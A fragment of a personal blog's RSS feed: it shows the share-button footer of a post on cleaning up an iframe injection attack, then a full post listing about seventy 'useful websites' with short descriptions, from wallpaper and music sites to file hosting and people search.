<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;title=Cleaning+up+iframe+injection+attack" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Cleaning+up+iframe+injection+attack+@+http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d164').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d164').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/cleaning-up-iframe-injection-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Websites that *everyone* should know</title>
		<link>http://www.zayinkrige.com/websites-that-everyone-should-know/</link>
		<comments>http://www.zayinkrige.com/websites-that-everyone-should-know/#comments</comments>
		<pubDate>Wed, 23 Mar 2011 08:13:39 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[useful]]></category>
		<category><![CDATA[useful websites]]></category>
		<category><![CDATA[websites]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=161</guid>
		<description><![CDATA[This is a departure from my usual posts, but I think everyone can make use of this. Wallbase &#8211; Wallpapers Simplynoise &#8211; Noise Cancelation Grooveshark &#8211; Music RainyMood &#8211; Noise Cancelation Lifehacker &#8211; Tips/tricks for everyday Zamzar &#8211; Online file conversion Qwiki &#8211; Transcribed audio/images into a video from any wiki article Tinyurl &#8211; URL [...]]]></description>
				<content:encoded><![CDATA[<p>This is a departure from my usual posts, but I think everyone can make use of this.</p>
<ul>
<li><a href="http://wallbase.net/">Wallbase</a> &#8211; Wallpapers</li>
<li><a href="http://simplynoise.com/">Simplynoise</a> &#8211; Noise Cancelation</li>
<li><a href="http://grooveshark.com/">Grooveshark</a> &#8211; Music</li>
<li><a href="http://rainymood.com/">RainyMood</a> &#8211; Noise Cancelation</li>
<li><a href="http://lifehacker.com/">Lifehacker</a> &#8211; Tips/tricks for everyday</li>
<li><a href="http://zamzar.com/">Zamzar</a> &#8211; Online file conversion</li>
<li><a href="http://www.qwiki.com/">Qwiki</a> &#8211; Transcribed audio/images into a video from any wiki article</li>
<li><a href="http://tinyurl.com/">Tinyurl</a> &#8211; URL Shortener</li>
<li><a href="http://l-mail.com/">L-Mail</a> &#8211; Send letters online</li>
<li><a href="http://www.wolframalpha.com/">WolframAlpha</a> &#8211; Computational knowledge engine</li>
<li><a href="http://lmgtfy.com/">LMGTFY</a> &#8211; Teach people to google their problems</li>
<li><a href="http://ninite.com/">Ninite</a> &#8211; Fast way to update/install software</li>
<li><a href="http://new.myfonts.com/WhatTheFont/">WhatTheFont</a> &#8211; Match fonts</li>
<li><a href="http://www.tineye.com/">Tineye</a> &#8211; Reverse image search</li>
<li><a href="http://warbeats.com/">Warbeats</a> &#8211; Improve your beatmaking skills</li>
<li><a href="http://iconspedia.com/">Iconspedia</a> &#8211; Icon resource</li>
<li><a href="http://youropenbook.org/">Openbook</a> &#8211; Search public facebook statuses</li>
<li><a href="http://lizardpoint.com/">Lizardpoint</a> &#8211; Learn geography</li>
<li><a href="http://www.thinkingallowed.com/">ThinkingAllowed</a> &#8211; Thought-provoking videos</li>
<li><a href="http://ted.com/">TED</a> &#8211; Ideas worth spreading</li>
<li><a href="http://www.khanacademy.org/">KhanAcademy</a> &#8211; Science/Math tutorials</li>
<li><a href="http://www.howstuffworks.com/">HowStuffWorks</a> &#8211; Fucking magnets</li>
<li><a href="http://thelotteryoflife.co.uk/">The Lottery of Life</a> &#8211; Birth Lottery</li>
<li><a href="http://ch131.com/">CH131</a> &#8211; Online TV streams</li>
<li><a href="http://forum.suprbay.org/">Suprbay</a> &#8211; Torrent discussion/resources</li>
<li><a href="http://sleepyti.me/">Sleepyti.me</a> &#8211; Sleep calculator</li>
<li><a href="http://liveleak.com/">Liveleak</a> &#8211; Uncensored video</li>
<li><a href="http://whosampled.com/">Whosampled</a> &#8211; Find music samples</li>
<li><a href="http://tastekid.com/">Tastekid</a> &#8211; Find related TV, Music, Movies, Books, etc</li>
<li><a href="http://forum.bodybuilding.com/">BodyBuilding</a> &#8211; Fitness</li>
<li><a href="http://www.livestation.com/channels/3-al_jazeera_english">Al Jazeera English Live</a> &#8211; Reputable news source, 24/7 stream</li>
<li><a href="http://www.di.fm/">DI.fm</a> &#8211; HQ Electronic Radio Resource</li>
<li><a href="http://www.live365.com/index.live">Live365</a> &#8211; Online radio</li>
<li><a href="http://www.bugmenot.com/">BugMeNot</a> &#8211; Find/Share login/passwords to avoid signing up</li>
<li><a href="http://www.studyblue.com/">StudyBlue</a> &#8211; Create flashcards to study</li>
<li><a href="http://mp3cut.net/">mp3cut</a> &#8211; Cut mp3s online</li>
<li><a href="http://www.whatismyip.com/">WhatIsMyIp</a> &#8211; Find your IP address</li>
<li><a href="http://www.w3schools.com/">W3Schools</a> &#8211; Learn web programming</li>
<li><a href="http://www.boston.com/bigpicture/">Boston.com &#8211; The Big Picture</a> &#8211; Amazing photo galleries</li>
<li><a href="http://popurls.com/">PopURLs</a> &#8211; Feed from top stories of news aggregators</li>
<li><a href="http://www.scribd.com/">Scribd</a> &#8211; Text hosting</li>
<li><a href="http://last.fm/">Last.fm</a> &#8211; Your listening history/find related artists</li>
<li><a href="http://www.retailmenot.com/">RetailMeNot</a> &#8211; Coupons</li>
<li><a href="http://www.mailinator.com/">Mailinator</a> &#8211; Disposable email account</li>
<li><a href="http://www.printfriendly.com/">PrintFriendly</a> &#8211; Make webpages printfriendly</li>
<li><a href="http://www.addictivetips.com/">AddictiveTips</a> &#8211; Tech Tips</li>
<li><a href="http://www.easybib.com/">EasyBib</a> &#8211; Bibliography/Citation Maker</li>
<li><a href="http://userscripts.org/">Userscripts</a> &#8211; Customize your browser</li>
<li><a href="http://pipl.com/">Pipl</a> &#8211; Web people search</li>
<li><a href="http://www.readprint.com/">ReadPrint</a> &#8211; Online books</li>
<li><a href="http://www.cramster.com/">Cramster</a> &#8211; Homework help</li>
<li><a href="http://www.shadyurl.com/index.php">ShadyURL</a> &#8211; Create alternative &#8220;shady&#8221; urls</li>
<li><a href="http://www.downforeveryoneorjustme.com/">DownForEveryoneOrJustMe</a> &#8211; Is google.com down?</li>
<li><a href="http://www.dafont.com/">DaFont</a> &#8211; Font database</li>
<li><a href="http://stereomood.com/">StereoMood</a> &#8211; Listen to music depending on emotion</li>
<li><a href="http://www.kaspersky.com/virusscanner">Kapersky</a> &#8211; Online virus scanner</li>
<li><a href="http://www.xtranormal.com/">XtraNormal</a> &#8211; If you can type, you can make a movie</li>
<li><a href="http://www.lipsum.com/">Lipsum</a> &#8211; Create filler text</li>
<li><a href="http://www.coolutils.com/Online/Image-Converter/">CoolUtils Image Converter</a> &#8211; Resize images for avatars</li>
<li><a href="http://dropbox.com/">Dropbox</a> &#8211; Easy file hosting</li>
<li><a href="http://depositfiles.com/">DepositFiles</a> &#8211; Another file hosting resource</li>
<li><a href="http://www.thefinalcost.com/shipments/calculate/">TheFinalCost</a> &#8211; Calculate Shipping totals</li>
<li><a href="http://www.whatthefuckshouldimakefordinner.com/">WhatTheFuckShouldIMakeForDinner</a> &#8211; Fucking hungry?</li>
<li><a href="http://imgur.com/">Imgur</a> &#8211; Best image hosting</li>
<li><a href="http://showrss.karmorra.info/">showRSS</a> &#8211; Automatically torrent your favorite show soon as it&#8217;s available</li>
<li><a href="http://www.google.com/cse?cx=003849996876419856805:erhhdbygrma&amp;ie=UTF-8&amp;q=&amp;sa=Search">Google Torrent Search</a> &#8211; Only display torrents with google search</li>
<li><a href="http://thissongissick.com/blog/">ThisSongIsSick</a> &#8211; New music (hiphop/electronic mostly)</li>
<li><a href="http://www.trackitdown.net/">TrackItDown</a> &#8211; Latest in electronic music</li>
<li><a href="http://topdocumentaryfilms.com/">TopDocumentaryFilms</a> &#8211; Watch free documentaries online</li>
</ul>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d161').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d161" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;title=Websites+that+%2Aeveryone%2A+should+know" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;title=Websites+that+%2Aeveryone%2A+should+know" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F&amp;title=Websites+that+%2Aeveryone%2A+should+know" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Websites+that+%2Aeveryone%2A+should+know+@+http%3A%2F%2Fwww.zayinkrige.com%2Fwebsites-that-everyone-should-know%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d161').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d161').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/websites-that-everyone-should-know/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
